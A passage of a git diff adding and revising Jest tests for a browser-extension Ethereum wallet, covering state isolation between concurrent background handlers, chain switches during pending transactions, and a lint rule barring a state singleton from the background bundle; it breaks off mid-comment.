@@ -24,6 +24,7 @@ const { Network, Wallet } = require("ethers");
|
|||||||
// before any jest.doMock() of the module, so the copy assertions below check
|
// before any jest.doMock() of the module, so the copy assertions below check
|
||||||
// what the user is actually shown.
|
// what the user is actually shown.
|
||||||
const { describeSigningFailure } = require("../src/shared/approvalVerify");
|
const { describeSigningFailure } = require("../src/shared/approvalVerify");
|
||||||
|
const { makeStorageStub } = require("./support/storageStub");
|
||||||
|
|
||||||
const SIGNER_KEY =
|
const SIGNER_KEY =
|
||||||
"0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d";
|
"0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d";
|
||||||
@@ -137,22 +138,22 @@ function loadBackground(options) {
|
|||||||
jest.resetModules();
|
jest.resetModules();
|
||||||
|
|
||||||
const broadcastTransaction = jest.fn();
|
const broadcastTransaction = jest.fn();
|
||||||
const loadState = jest.fn(opts.loadState || (async () => {}));
|
|
||||||
|
|
||||||
// The network the wallet is on, which the tests switch under a pending
|
// The node the transaction is populated against is on whatever chain the
|
||||||
// approval. The node the transaction is populated against is on the same
|
// stored profile says, as it would be: switching networks switches the RPC
|
||||||
// one, as it would be: switching networks switches the RPC endpoint too.
|
// endpoint too. The background takes the network from storage per call —
|
||||||
let chain = MAINNET;
|
// it holds no in-memory copy — so this reads the record rather than a
|
||||||
|
// variable the test keeps alongside it.
|
||||||
|
const chainOf = (networkId) =>
|
||||||
|
networkId === "sepolia" ? SEPOLIA : MAINNET;
|
||||||
|
|
||||||
jest.doMock("../src/shared/state", () => ({
|
|
||||||
state: { rpcUrl: "https://rpc.invalid", wallets: [] },
|
|
||||||
loadState,
|
|
||||||
saveState: jest.fn(async () => {}),
|
|
||||||
currentNetwork: () => ({ chainId: chain.hex }),
|
|
||||||
}));
|
|
||||||
jest.doMock("../src/shared/balances", () => ({
|
jest.doMock("../src/shared/balances", () => ({
|
||||||
getProvider: () =>
|
getProvider: (rpcUrl, networkId) =>
|
||||||
fakeProvider(broadcastTransaction, opts.provider, chain.num),
|
fakeProvider(
|
||||||
|
broadcastTransaction,
|
||||||
|
opts.provider,
|
||||||
|
chainOf(networkId).num,
|
||||||
|
),
|
||||||
refreshBalances: jest.fn(async () => {}),
|
refreshBalances: jest.fn(async () => {}),
|
||||||
}));
|
}));
|
||||||
jest.doMock("../src/shared/phishingDomains", () => ({
|
jest.doMock("../src/shared/phishingDomains", () => ({
|
||||||
@@ -174,15 +175,48 @@ function loadBackground(options) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
const persisted = {
|
const persisted = {
|
||||||
|
// Address RECORDS, not bare address strings: a stored profile is
|
||||||
|
// validated against the schema on every read now
|
||||||
|
// (src/shared/stateSchema.js), and a bare string where a record
|
||||||
|
// belongs is one of the shapes that refuses to load.
|
||||||
wallets: [
|
wallets: [
|
||||||
{ name: "Wallet 1", type: "hd", addresses: [signer.address] },
|
{
|
||||||
|
name: "Wallet 1",
|
||||||
|
type: "hd",
|
||||||
|
addresses: [
|
||||||
|
{
|
||||||
|
address: signer.address,
|
||||||
|
balance: "0",
|
||||||
|
tokenBalances: [],
|
||||||
|
},
|
||||||
|
],
|
||||||
|
},
|
||||||
],
|
],
|
||||||
|
networkId: "mainnet",
|
||||||
rpcUrl: "https://rpc.invalid",
|
rpcUrl: "https://rpc.invalid",
|
||||||
activeAddress: signer.address,
|
activeAddress: signer.address,
|
||||||
allowedSites: { [signer.address]: [HOSTNAME] },
|
allowedSites: { [signer.address]: [HOSTNAME] },
|
||||||
deniedSites: {},
|
deniedSites: {},
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// The one wallet state there is. The background reads it per call and
|
||||||
|
// writes it read-modify-write; it holds no in-memory copy and cannot reach
|
||||||
|
// the shared singleton. Clones in both directions, as the real API does —
|
||||||
|
// the stub here used to hand back the live record and drop every write on
|
||||||
|
// the floor, so a test could neither see what was persisted nor be sure
|
||||||
|
// what it read had crossed the boundary
|
||||||
|
// (https://git.eeqj.de/sneak/AutistMask/issues/324).
|
||||||
|
const storage = makeStorageStub({ autistmask: persisted });
|
||||||
|
|
||||||
|
// A test that needs the state read itself to misbehave installs a hook —
|
||||||
|
// a stall, a throw — in place of the next reads. Armed after setup so
|
||||||
|
// that raising the approval is not what fails.
|
||||||
|
let storageGetHook = opts.storageGet || null;
|
||||||
|
const realGet = storage.local.get;
|
||||||
|
storage.local.get = jest.fn(async (key) =>
|
||||||
|
storageGetHook ? storageGetHook(key) : realGet(key),
|
||||||
|
);
|
||||||
|
|
||||||
let messageListener = null;
|
let messageListener = null;
|
||||||
let windowRemovedListener = null;
|
let windowRemovedListener = null;
|
||||||
let connectListener = null;
|
let connectListener = null;
|
||||||
@@ -194,15 +228,7 @@ function loadBackground(options) {
|
|||||||
const actionPopups = [];
|
const actionPopups = [];
|
||||||
|
|
||||||
global.chrome = {
|
global.chrome = {
|
||||||
storage: {
|
storage,
|
||||||
local: {
|
|
||||||
get: jest.fn(
|
|
||||||
opts.storageGet ||
|
|
||||||
(async () => ({ autistmask: persisted })),
|
|
||||||
),
|
|
||||||
set: jest.fn(async () => {}),
|
|
||||||
},
|
|
||||||
},
|
|
||||||
runtime: {
|
runtime: {
|
||||||
getURL: (path) => EXT_URL + path,
|
getURL: (path) => EXT_URL + path,
|
||||||
onMessage: {
|
onMessage: {
|
||||||
@@ -401,18 +427,32 @@ function loadBackground(options) {
|
|||||||
connectApproval,
|
connectApproval,
|
||||||
closeWindow,
|
closeWindow,
|
||||||
broadcastTransaction,
|
broadcastTransaction,
|
||||||
loadState,
|
|
||||||
created,
|
created,
|
||||||
removed,
|
removed,
|
||||||
|
storage,
|
||||||
// The user switching account in the toolbar popup, as the background
|
// The user switching account in the toolbar popup, as the background
|
||||||
// sees it: the persisted active address changes underneath a pending
|
// sees it: the persisted active address changes underneath a pending
|
||||||
// approval.
|
// approval.
|
||||||
setActiveAddress: (address) => {
|
setActiveAddress: (address) => {
|
||||||
persisted.activeAddress = address;
|
storage.write("autistmask", {
|
||||||
|
...storage.read("autistmask"),
|
||||||
|
activeAddress: address,
|
||||||
|
});
|
||||||
},
|
},
|
||||||
// The user switching network in the toolbar popup.
|
// The user switching network in the toolbar popup. It moves the stored
|
||||||
|
// network and the endpoint together, as a real switch does.
|
||||||
setNetwork: (network) => {
|
setNetwork: (network) => {
|
||||||
chain = network;
|
const networkId = network === SEPOLIA ? "sepolia" : "mainnet";
|
||||||
|
storage.write("autistmask", {
|
||||||
|
...storage.read("autistmask"),
|
||||||
|
networkId,
|
||||||
|
rpcUrl: "https://rpc-" + networkId + ".invalid",
|
||||||
|
});
|
||||||
|
},
|
||||||
|
// Make the next state reads misbehave — stall, throw — without
|
||||||
|
// touching the reads that raised the approval. Pass null to restore.
|
||||||
|
setStateReadHook: (hook) => {
|
||||||
|
storageGetHook = hook;
|
||||||
},
|
},
|
||||||
fromPopup: { url: EXT_URL + "src/popup/index.html" },
|
fromPopup: { url: EXT_URL + "src/popup/index.html" },
|
||||||
};
|
};
|
||||||
@@ -677,15 +717,16 @@ describe("one transaction approval at a time", () => {
|
|||||||
// page never — and holds the slot for the life of the worker with it.
|
// page never — and holds the slot for the life of the worker with it.
|
||||||
test("an approval whose window closed under a failed attempt is answered, and frees the next request", async () => {
|
test("an approval whose window closed under a failed attempt is answered, and frees the next request", async () => {
|
||||||
const stalled = deferred();
|
const stalled = deferred();
|
||||||
const bg = loadBackground({
|
const bg = loadBackground();
|
||||||
loadState: async () => {
|
|
||||||
await stalled.promise;
|
|
||||||
throw new Error("The wallet data could not be read.");
|
|
||||||
},
|
|
||||||
});
|
|
||||||
|
|
||||||
const first = bg.requestTx();
|
const first = bg.requestTx();
|
||||||
await settle();
|
await settle();
|
||||||
|
// Armed only now: the approval was raised against a working state
|
||||||
|
// read, and it is the ATTEMPT's read that hangs and then fails.
|
||||||
|
bg.setStateReadHook(async () => {
|
||||||
|
await stalled.promise;
|
||||||
|
throw new Error("The wallet data could not be read.");
|
||||||
|
});
|
||||||
bg.send(
|
bg.send(
|
||||||
{
|
{
|
||||||
type: "AUTISTMASK_TX_RESPONSE",
|
type: "AUTISTMASK_TX_RESPONSE",
|
||||||
@@ -709,6 +750,7 @@ describe("one transaction approval at a time", () => {
|
|||||||
error: { code: 4001, message: "User rejected the request." },
|
error: { code: 4001, message: "User rejected the request." },
|
||||||
});
|
});
|
||||||
|
|
||||||
|
bg.setStateReadHook(null);
|
||||||
const second = bg.requestTx();
|
const second = bg.requestTx();
|
||||||
await settle();
|
await settle();
|
||||||
expect(second.result()).toBeNull();
|
expect(second.result()).toBeNull();
|
||||||
@@ -1226,19 +1268,18 @@ describe("what the approval is verified against", () => {
|
|||||||
// The interlock must not cost the retry the approval exists to allow.
|
// The interlock must not cost the retry the approval exists to allow.
|
||||||
describe("the interlock releases a failed attempt", () => {
|
describe("the interlock releases a failed attempt", () => {
|
||||||
test("a retryable failure before the broadcast leaves the approval usable", async () => {
|
test("a retryable failure before the broadcast leaves the approval usable", async () => {
|
||||||
let failNext = true;
|
const bg = loadBackground();
|
||||||
const bg = loadBackground({
|
|
||||||
loadState: async () => {
|
|
||||||
if (failNext) {
|
|
||||||
failNext = false;
|
|
||||||
throw new Error("storage unavailable");
|
|
||||||
}
|
|
||||||
},
|
|
||||||
});
|
|
||||||
const pending = bg.requestTx();
|
const pending = bg.requestTx();
|
||||||
await settle();
|
await settle();
|
||||||
const id = pending.id();
|
const id = pending.id();
|
||||||
|
|
||||||
|
// The attempt's state read fails once, then works: nothing was
|
||||||
|
// broadcast, so the approval must survive for the retry.
|
||||||
|
bg.setStateReadHook(() => {
|
||||||
|
bg.setStateReadHook(null);
|
||||||
|
throw new Error("storage unavailable");
|
||||||
|
});
|
||||||
|
|
||||||
const first = bg.send(
|
const first = bg.send(
|
||||||
{
|
{
|
||||||
type: "AUTISTMASK_TX_RESPONSE",
|
type: "AUTISTMASK_TX_RESPONSE",
|
||||||
|
|||||||
398
tests/backgroundStateIsolation.test.js
Normal file
398
tests/backgroundStateIsolation.test.js
Normal file
@@ -0,0 +1,398 @@
|
|||||||
|
// What one background handler's state can do to another's while both are in
|
||||||
|
// flight.
|
||||||
|
//
|
||||||
|
// The background used to read and write the module-level `state` singleton in
|
||||||
|
// src/shared/state.js — one object, shared by every handler in the worker,
|
||||||
|
// replaced wholesale by any loadState(). Two consequences, both covered here
|
||||||
|
// and both from https://git.eeqj.de/sneak/AutistMask/issues/324:
|
||||||
|
//
|
||||||
|
// - A transaction attempt captured the chain id at its loadState() and then
|
||||||
|
// read the ENDPOINT off the singleton several awaits later. A chain switch
|
||||||
|
// committed in that window moved the endpoint under an artifact already
|
||||||
|
// verified against the old chain, so it would have gone to the new chain's
|
||||||
|
// node — the very thing the verification exists to prevent.
|
||||||
|
//
|
||||||
|
// - backgroundRefresh() handed the singleton's wallets to refreshBalances(),
|
||||||
|
// which mutates address objects in place across a multi-second network
|
||||||
|
// round trip. Any concurrent handler that loaded state replaced those
|
||||||
|
// objects, so the refreshed balances landed on detached ones and the save
|
||||||
|
// that followed persisted the pre-refresh values — while still stamping
|
||||||
|
// lastBalanceRefresh, suppressing the redo.
|
||||||
|
//
|
||||||
|
// Both use the real persistence path over a cloning storage stub. Nothing here
|
||||||
|
// asserts the absence of a loadState() call; each asserts the OUTCOME, so it
|
||||||
|
// holds against any implementation that gets the outcome right.
|
||||||
|
|
||||||
|
const { Wallet } = require("ethers");
|
||||||
|
const { networkById } = require("../src/shared/networks");
|
||||||
|
const { makeStorageStub } = require("./support/storageStub");
|
||||||
|
|
||||||
|
const SIGNER_KEY =
|
||||||
|
"0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d";
|
||||||
|
const signer = new Wallet(SIGNER_KEY);
|
||||||
|
const RECIPIENT = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
|
||||||
|
|
||||||
|
const CONNECTED_ORIGIN = "https://dapp.example";
|
||||||
|
const CONNECTED_HOSTNAME = "dapp.example";
|
||||||
|
const EXT_URL = "chrome-extension://autistmask/";
|
||||||
|
|
||||||
|
const MAINNET = networkById("mainnet");
|
||||||
|
const SEPOLIA = networkById("sepolia");
|
||||||
|
|
||||||
|
const NONCE = 7;
|
||||||
|
const REFRESHED_BALANCE = "1.5";
|
||||||
|
|
||||||
|
// The transaction the background populates, and the artifact signed from it.
|
||||||
|
// Its chain is a parameter because the whole subject here is a chain moving
|
||||||
|
// under work already committed to one.
|
||||||
|
function populated(chainId) {
|
||||||
|
return {
|
||||||
|
type: 2,
|
||||||
|
chainId,
|
||||||
|
nonce: NONCE,
|
||||||
|
gasLimit: 100000n,
|
||||||
|
maxFeePerGas: 2000000000n,
|
||||||
|
maxPriorityFeePerGas: 1000000000n,
|
||||||
|
to: RECIPIENT,
|
||||||
|
value: 10000000000000000n,
|
||||||
|
data: "0x",
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
function storedProfile(networkId) {
|
||||||
|
const net = networkById(networkId);
|
||||||
|
return {
|
||||||
|
hasWallet: true,
|
||||||
|
wallets: [
|
||||||
|
{
|
||||||
|
name: "Wallet 1",
|
||||||
|
type: "hd",
|
||||||
|
xpub: "xpub-1",
|
||||||
|
addresses: [
|
||||||
|
{
|
||||||
|
address: signer.address,
|
||||||
|
balance: "0.0",
|
||||||
|
tokenBalances: [],
|
||||||
|
},
|
||||||
|
],
|
||||||
|
},
|
||||||
|
],
|
||||||
|
activeAddress: signer.address,
|
||||||
|
networkId,
|
||||||
|
rpcUrl: net.defaultRpcUrl,
|
||||||
|
blockscoutUrl: net.defaultBlockscoutUrl,
|
||||||
|
allowedSites: { [signer.address]: [CONNECTED_HOSTNAME] },
|
||||||
|
deniedSites: {},
|
||||||
|
trackedTokens: [],
|
||||||
|
lastBalanceRefresh: 0,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
async function settle() {
|
||||||
|
for (let i = 0; i < 60; i++) await Promise.resolve();
|
||||||
|
}
|
||||||
|
|
||||||
|
function deferred() {
|
||||||
|
let resolve;
|
||||||
|
const promise = new Promise((res) => {
|
||||||
|
resolve = res;
|
||||||
|
});
|
||||||
|
return { promise, resolve };
|
||||||
|
}
|
||||||
|
|
||||||
|
afterEach(() => {
|
||||||
|
delete global.chrome;
|
||||||
|
});
|
||||||
|
|
||||||
|
// The background worker over a cloning storage stub, with the network and the
|
||||||
|
// clock stubbed out. `opts.refreshBalances` replaces the balance refresh so a
|
||||||
|
// test can hold one open across another handler's whole turn.
|
||||||
|
function loadWorker(networkId, opts) {
|
||||||
|
const options = opts || {};
|
||||||
|
jest.resetModules();
|
||||||
|
|
||||||
|
// Every provider this worker constructs, in order, with the endpoint and
|
||||||
|
// the network id it was given. The subject of the first test is which pair
|
||||||
|
// reaches the broadcast.
|
||||||
|
const providers = [];
|
||||||
|
const broadcastTransaction = jest.fn(async () => ({ hash: "0xfeed" }));
|
||||||
|
|
||||||
|
jest.doMock("../src/shared/balances", () => ({
|
||||||
|
getProvider: (rpcUrl, networkId2) => {
|
||||||
|
const provider = {
|
||||||
|
rpcUrl,
|
||||||
|
networkId: networkId2,
|
||||||
|
broadcastTransaction,
|
||||||
|
getNetwork: async () => ({
|
||||||
|
chainId: BigInt(networkById(networkId2).networkVersion),
|
||||||
|
}),
|
||||||
|
getTransactionCount: async () => NONCE,
|
||||||
|
estimateGas: async () => 100000n,
|
||||||
|
getFeeData: async () => ({
|
||||||
|
gasPrice: 2000000000n,
|
||||||
|
maxFeePerGas: 2000000000n,
|
||||||
|
maxPriorityFeePerGas: 1000000000n,
|
||||||
|
}),
|
||||||
|
};
|
||||||
|
providers.push(provider);
|
||||||
|
return provider;
|
||||||
|
},
|
||||||
|
refreshBalances:
|
||||||
|
options.refreshBalances || jest.fn(async () => undefined),
|
||||||
|
}));
|
||||||
|
jest.doMock("../src/shared/phishingDomains", () => ({
|
||||||
|
isPhishingDomain: () => false,
|
||||||
|
}));
|
||||||
|
let alarmHandlers = {};
|
||||||
|
jest.doMock("../src/shared/alarms", () => ({
|
||||||
|
BALANCE_REFRESH_ALARM: "balance",
|
||||||
|
BALANCE_REFRESH_PERIOD_MINUTES: 1,
|
||||||
|
ensureRecurringAlarms: jest.fn(async () => {}),
|
||||||
|
registerAlarmHandlers: jest.fn((handlers) => {
|
||||||
|
alarmHandlers = handlers;
|
||||||
|
}),
|
||||||
|
}));
|
||||||
|
|
||||||
|
const storage = makeStorageStub({ autistmask: storedProfile(networkId) });
|
||||||
|
// A hook the tests use to suspend one handler mid-flight, so the other one
|
||||||
|
// runs entirely inside its window.
|
||||||
|
let getHook = null;
|
||||||
|
const realGet = storage.local.get;
|
||||||
|
storage.local.get = jest.fn(async (key) => {
|
||||||
|
if (getHook) await getHook();
|
||||||
|
return realGet(key);
|
||||||
|
});
|
||||||
|
|
||||||
|
let messageListener = null;
|
||||||
|
// Every popup URL the background opened. The approval id is in it, and
|
||||||
|
// that is how the popup learns which approval it is answering.
|
||||||
|
const createdUrls = [];
|
||||||
|
global.chrome = {
|
||||||
|
storage,
|
||||||
|
runtime: {
|
||||||
|
getURL: (path) => EXT_URL + path,
|
||||||
|
onMessage: {
|
||||||
|
addListener: (fn) => {
|
||||||
|
messageListener = fn;
|
||||||
|
},
|
||||||
|
},
|
||||||
|
onConnect: { addListener: () => {} },
|
||||||
|
lastError: null,
|
||||||
|
},
|
||||||
|
windows: {
|
||||||
|
getLastFocused: (cb) => cb(null),
|
||||||
|
create: (createOpts, cb) => {
|
||||||
|
createdUrls.push(createOpts.url);
|
||||||
|
cb({ id: createdUrls.length });
|
||||||
|
},
|
||||||
|
remove: (id, cb) => {
|
||||||
|
if (cb) cb();
|
||||||
|
},
|
||||||
|
onRemoved: { addListener: () => {} },
|
||||||
|
},
|
||||||
|
tabs: {
|
||||||
|
query: (queryInfo, cb) => cb([{ id: 1 }]),
|
||||||
|
sendMessage: (tabId, message, cb) => {
|
||||||
|
if (cb) cb();
|
||||||
|
},
|
||||||
|
},
|
||||||
|
action: { setPopup: () => {} },
|
||||||
|
};
|
||||||
|
|
||||||
|
require("../src/background/index");
|
||||||
|
|
||||||
|
function send(msg, sender) {
|
||||||
|
let result = null;
|
||||||
|
const kept = messageListener(msg, sender, (r) => {
|
||||||
|
result = r;
|
||||||
|
});
|
||||||
|
return { kept, result: () => result };
|
||||||
|
}
|
||||||
|
|
||||||
|
function rpc(method, params, origin) {
|
||||||
|
return send(
|
||||||
|
{ type: "AUTISTMASK_RPC", method, params },
|
||||||
|
{ origin: origin || CONNECTED_ORIGIN },
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
rpc,
|
||||||
|
send,
|
||||||
|
providers,
|
||||||
|
broadcastTransaction,
|
||||||
|
persisted: () => storage.read("autistmask"),
|
||||||
|
setGetHook: (hook) => {
|
||||||
|
getHook = hook;
|
||||||
|
},
|
||||||
|
fromPopup: { url: EXT_URL + "src/popup/index.html" },
|
||||||
|
fireBalanceAlarm: () => alarmHandlers.balance(),
|
||||||
|
lastApprovalId: () => {
|
||||||
|
const url = createdUrls[createdUrls.length - 1];
|
||||||
|
if (!url) return null;
|
||||||
|
return new URL(url, EXT_URL).searchParams.get("approval");
|
||||||
|
},
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
describe("a chain switch under a transaction already committed to a chain", () => {
|
||||||
|
// Item 4 of https://git.eeqj.de/sneak/AutistMask/issues/324.
|
||||||
|
//
|
||||||
|
// The artifact is verified against the chain read at the top of the
|
||||||
|
// attempt. Whatever endpoint it is then broadcast to has to be that same
|
||||||
|
// chain's — otherwise the wallet checks a transaction against Sepolia and
|
||||||
|
// sends it to a mainnet node. A connected site can switch the chain at any
|
||||||
|
// moment, including this one.
|
||||||
|
test("the artifact is broadcast to the endpoint of the chain it was verified against", async () => {
|
||||||
|
const bg = loadWorker("sepolia");
|
||||||
|
|
||||||
|
// Raise the approval, then find its id from the popup's own fetch.
|
||||||
|
bg.rpc("eth_sendTransaction", [
|
||||||
|
{
|
||||||
|
from: signer.address,
|
||||||
|
to: RECIPIENT,
|
||||||
|
value: "0x2386f26fc10000",
|
||||||
|
data: "0x",
|
||||||
|
},
|
||||||
|
]);
|
||||||
|
await settle();
|
||||||
|
|
||||||
|
const id = bg.lastApprovalId();
|
||||||
|
expect(id).toBeTruthy();
|
||||||
|
|
||||||
|
// The popup signs what it was shown: Sepolia.
|
||||||
|
const rawSignedTx = await signer.signTransaction(
|
||||||
|
populated(Number(SEPOLIA.networkVersion)),
|
||||||
|
);
|
||||||
|
|
||||||
|
// A connected site switches the chain while the attempt is running,
|
||||||
|
// and the switch is committed to storage in full before the attempt
|
||||||
|
// goes any further.
|
||||||
|
//
|
||||||
|
// It is fired from inside the attempt's SECOND state read, because
|
||||||
|
// that is where the window used to be: the chain id was captured at
|
||||||
|
// the first read and the endpoint was taken off the singleton several
|
||||||
|
// awaits later, so a switch landing between them moved the endpoint
|
||||||
|
// under an artifact already verified against the old chain. An
|
||||||
|
// implementation that takes both from one read has no second read for
|
||||||
|
// this to fire on, and the switch below runs after the attempt is
|
||||||
|
// done instead — which is the point.
|
||||||
|
let reads = 0;
|
||||||
|
let switched = null;
|
||||||
|
const doSwitch = async () => {
|
||||||
|
switched = bg.rpc("wallet_switchEthereumChain", [
|
||||||
|
{ chainId: MAINNET.chainId },
|
||||||
|
]);
|
||||||
|
await settle();
|
||||||
|
};
|
||||||
|
bg.setGetHook(async () => {
|
||||||
|
reads++;
|
||||||
|
if (reads !== 2) return;
|
||||||
|
bg.setGetHook(null);
|
||||||
|
await doSwitch();
|
||||||
|
});
|
||||||
|
|
||||||
|
const attempt = bg.send(
|
||||||
|
{
|
||||||
|
type: "AUTISTMASK_TX_RESPONSE",
|
||||||
|
id,
|
||||||
|
approved: true,
|
||||||
|
rawSignedTx,
|
||||||
|
},
|
||||||
|
{ url: bg.fromPopup.url },
|
||||||
|
);
|
||||||
|
await settle();
|
||||||
|
|
||||||
|
bg.setGetHook(null);
|
||||||
|
if (!switched) await doSwitch();
|
||||||
|
expect(switched.result()).toEqual({ result: null });
|
||||||
|
expect(bg.persisted().networkId).toBe("mainnet");
|
||||||
|
await settle();
|
||||||
|
|
||||||
|
// It went out, and it went out to Sepolia's node — the chain the
|
||||||
|
// artifact was verified against. Reading the endpoint separately from
|
||||||
|
// the chain id put mainnet's here.
|
||||||
|
expect(attempt.result()).toEqual({ txHash: "0xfeed" });
|
||||||
|
expect(bg.broadcastTransaction).toHaveBeenCalledTimes(1);
|
||||||
|
const used = bg.providers[bg.providers.length - 1];
|
||||||
|
expect(used.rpcUrl).toBe(SEPOLIA.defaultRpcUrl);
|
||||||
|
expect(used.networkId).toBe("sepolia");
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("a balance refresh under another handler's state read", () => {
|
||||||
|
// Item 5 of https://git.eeqj.de/sneak/AutistMask/issues/324.
|
||||||
|
//
|
||||||
|
// The trigger is a same-chain wallet_switchEthereumChain from a connected
|
||||||
|
// site: it answers { result: null } and changes nothing, so the ONLY thing
|
||||||
|
// it can do to the refresh is what its state read does. On the singleton
|
||||||
|
// that read replaced state.wallets, detaching the objects the refresh was
|
||||||
|
// mutating.
|
||||||
|
test("a chain read arriving mid-refresh does not discard the refresh", async () => {
|
||||||
|
const roundTrip = deferred();
|
||||||
|
const reachedNetwork = deferred();
|
||||||
|
|
||||||
|
const bg = loadWorker("sepolia", {
|
||||||
|
refreshBalances: async (wallets) => {
|
||||||
|
reachedNetwork.resolve();
|
||||||
|
await roundTrip.promise;
|
||||||
|
// In place, on the objects handed in — as balances.js does.
|
||||||
|
wallets[0].addresses[0].balance = REFRESHED_BALANCE;
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
const refresh = bg.fireBalanceAlarm();
|
||||||
|
await reachedNetwork.promise;
|
||||||
|
|
||||||
|
const answered = bg.rpc("wallet_switchEthereumChain", [
|
||||||
|
{ chainId: SEPOLIA.chainId },
|
||||||
|
]);
|
||||||
|
await settle();
|
||||||
|
expect(answered.result()).toEqual({ result: null });
|
||||||
|
|
||||||
|
roundTrip.resolve();
|
||||||
|
await refresh;
|
||||||
|
|
||||||
|
expect(bg.persisted().wallets[0].addresses[0].balance).toBe(
|
||||||
|
REFRESHED_BALANCE,
|
||||||
|
);
|
||||||
|
expect(bg.persisted().lastBalanceRefresh).toBeGreaterThan(0);
|
||||||
|
});
|
||||||
|
|
||||||
|
// The other half of "does not publish a shared object": a wallet added
|
||||||
|
// while the refresh was in flight must survive the refresh's own write.
|
||||||
|
test("a wallet added mid-refresh survives the refresh's write", async () => {
|
||||||
|
const roundTrip = deferred();
|
||||||
|
const reachedNetwork = deferred();
|
||||||
|
|
||||||
|
const bg = loadWorker("sepolia", {
|
||||||
|
refreshBalances: async (wallets) => {
|
||||||
|
reachedNetwork.resolve();
|
||||||
|
await roundTrip.promise;
|
||||||
|
wallets[0].addresses[0].balance = REFRESHED_BALANCE;
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
const refresh = bg.fireBalanceAlarm();
|
||||||
|
await reachedNetwork.promise;
|
||||||
|
|
||||||
|
// Another extension page adds a wallet while the round trip is out.
|
||||||
|
const during = bg.persisted();
|
||||||
|
during.wallets.push({
|
||||||
|
name: "Wallet 2",
|
||||||
|
type: "hd",
|
||||||
|
xpub: "xpub-2",
|
||||||
|
addresses: [
|
||||||
|
{ address: RECIPIENT, balance: "0.0", tokenBalances: [] },
|
||||||
|
],
|
||||||
|
});
|
||||||
|
global.chrome.storage.write("autistmask", during);
|
||||||
|
|
||||||
|
roundTrip.resolve();
|
||||||
|
await refresh;
|
||||||
|
|
||||||
|
const after = bg.persisted();
|
||||||
|
expect(after.wallets).toHaveLength(2);
|
||||||
|
expect(after.wallets[0].addresses[0].balance).toBe(REFRESHED_BALANCE);
|
||||||
|
});
|
||||||
|
});
|
||||||
270
tests/backgroundStateLintRule.test.js
Normal file
270
tests/backgroundStateLintRule.test.js
Normal file
@@ -0,0 +1,270 @@
|
|||||||
|
// The lint rule that keeps src/shared/state.js out of the background bundle
|
||||||
|
// (script/lib/eslint/noStateSingletonInBackground.js).
|
||||||
|
//
|
||||||
|
// Five defects, one of which destroyed a wallet, came from background code
|
||||||
|
// reaching that singleton, and each point fix created the next site
|
||||||
|
// (https://git.eeqj.de/sneak/AutistMask/issues/324).
|
||||||
|
//
|
||||||
|
// What this file does NOT do is establish that the singleton cannot reach the
|
||||||
|
// background bundle. That is build.js's FORBIDDEN_INPUTS assertion, which reads
|
||||||
|
// esbuild's metafile and so cannot be evaded by a syntax a matcher does not
|
||||||
|
// know; it is pinned by tests/buildForbiddenInputs.test.js. The rule under test
|
||||||
|
// here is fast local feedback in front of that, and these cases pin the shapes
|
||||||
|
// it is known to catch, so a regression in the matcher is a failing test rather
|
||||||
|
// than a quietly narrower rule.
|
||||||
|
//
|
||||||
|
// Every shape below was measured against a real `make build`: each one puts
|
||||||
|
// state.js in the shipped background bundles, and each one was invisible to
|
||||||
|
// some earlier revision of the matcher — the quoted-only regex missed the
|
||||||
|
// backtick, the dynamic import and the `from` clause; its successor missed a
|
||||||
|
// comment inside the call and a directory resolved through package.json `main`.
|
||||||
|
//
|
||||||
|
// Two shapes the rule does NOT report are pinned below as non-reports, in
|
||||||
|
// "the divergences from the build's answer": a computed specifier such as
|
||||||
|
// `require("../shared/" + "state")`, which esbuild constant-folds, and a
|
||||||
|
// symlink to the module, whose real path esbuild reports. Both put state.js in
|
||||||
|
// the shipped background bundle and both are `make build` exit 2 with
|
||||||
|
// `make lint` exit 0 (measured). Pinning them as non-reports is what makes the
|
||||||
|
// rule's stated bounds a measured description rather than a claim: if either
|
||||||
|
// starts being reported, or the matcher is widened until one is, a test says
|
||||||
|
// so. Their catch is the build's, and is pinned in
|
||||||
|
// tests/buildForbiddenInputs.test.js against the metafile that catches it.
|
||||||
|
|
||||||
|
const fs = require("fs");
|
||||||
|
const os = require("os");
|
||||||
|
const path = require("path");
|
||||||
|
const { Linter } = require("eslint");
|
||||||
|
|
||||||
|
const plugin = require("../script/lib/eslint/noStateSingletonInBackground");
|
||||||
|
|
||||||
|
const RULE = "background/no-state-singleton-in-background";
|
||||||
|
|
||||||
|
// The three files a fixture tree always has. `src/background/index.js` is
|
||||||
|
// supplied per case; the other two stand in for the real modules.
|
||||||
|
const SHARED_STATE = "const state = {};\nmodule.exports = { state };\n";
|
||||||
|
const SHARED_HOP =
|
||||||
|
"// A shared module the background legitimately imports.\n" +
|
||||||
|
"module.exports = { applyChainSwitchFields() {} };\n";
|
||||||
|
|
||||||
|
let roots = [];
|
||||||
|
|
||||||
|
function fixture(files) {
|
||||||
|
const root = fs.realpathSync(
|
||||||
|
fs.mkdtempSync(path.join(os.tmpdir(), "autistmask-state-rule-")),
|
||||||
|
);
|
||||||
|
roots.push(root);
|
||||||
|
const tree = {
|
||||||
|
"src/shared/state.js": SHARED_STATE,
|
||||||
|
"src/shared/chainSwitchFields.js": SHARED_HOP,
|
||||||
|
...files,
|
||||||
|
};
|
||||||
|
for (const [rel, source] of Object.entries(tree)) {
|
||||||
|
const abs = path.join(root, rel);
|
||||||
|
fs.mkdirSync(path.dirname(abs), { recursive: true });
|
||||||
|
fs.writeFileSync(abs, source);
|
||||||
|
}
|
||||||
|
return root;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Run the rule exactly as eslint.config.js runs it, over a real tree: the walk
|
||||||
|
// reads its sources from disk, so a virtual RuleTester would not exercise it.
|
||||||
|
// `sourceType` is the fixture's own, not the rule's business: the walk is
|
||||||
|
